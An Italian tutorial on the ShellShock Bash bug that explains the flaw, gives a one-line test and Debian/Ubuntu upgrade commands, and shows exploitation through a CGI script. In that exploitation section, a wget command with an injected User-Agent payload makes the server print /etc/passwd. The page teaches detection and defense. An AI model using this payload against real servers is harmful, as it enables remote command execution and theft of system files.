Cos’è ShellShock

Così chiamato, ShellShock, è un bug critico che affligge per appunto il Terminale, in gergo Shell. (Precisamente alcune versioni di Bash).
Solo verso la fine del 2014 è stato scoperto e pubblicamente riconosciuto. E’ in circolazione, pensate, da oltre 25 anni. Inutile dire la portata di tale vulnerabilità, oggi moltissimi sono i server e i computer domestici che fan girare sistemi derivati da UNIX, Linux o Mac OS X in primis.
E proprio da UNIX hanno ereditato il potente Terminale: Bash. E con esso la vulnerabilità che adesso andremo a mostrare.

La criticità del bug è elevata. Perchè permette di eseguire comandi sulla shell che possono portare a compromettere l’intero host, da remoto.

Un attaccante può forzare Bash all’esecuzione di codice arbitrario. Questo perchè continua ad eseguire il codice anche dopo la definizione di una funzione “() { :; };”. Quando in realtà non dovrebbe.

Capire se la nostra Shell è vulnerabile a ShellShock

Ecco la procedura per testare un terminale per provare se è vulnerabile o meno a ShellShock:

1. Avviate il Terminale.
2. Incollateci questa stringa e date invio:

env z='() { :;}; echo vulnerable' bash -c 'echo hello'

3. Se l’output del terminale è “vulnerable hello”, allora la vostra versione di Bash è vulnerabile a ShellShock, vi conviene aggiornare:

apt-get update
apt-get install --only-upgrade bash

PS. Questo funziona per Ubuntu e Debian, per distribuzioni differenti o se siete su Mac probabilmente la procedura d’aggiornamento è differente.

Potete controllare la vostra versione di bash con il comando:
bash --version

Come è possibile sfruttare il Bug

Un esempio molto semplice e nello stesso tempo molto concreto, potrebbe essere la CGI di un server (guarda come si usa la CGI).
In questo modo, /var/www/cgi-bin/test.cgi:


#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"

Dopo si chiama lo script tramite wget, utilizzando il parametro -U per cambiare lo User-Agent, e iniettare l’exploit. Con l’obiettivo ad esempio di ottenere il file /etc/passwd di Linux:


wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

Specificare il tipo di contenuto “Content-type:” serve a mostrare il file richiesto prevenendo la comparsa dell’errore 500.
L’esempio sopra dimostra anche come non è un errore di programmazione che porta lo script cgi ad essere vulnerabile, poichè lo script illustrato neanche richiede un input utente, ma è il bug presente in alcune versioni di Bash.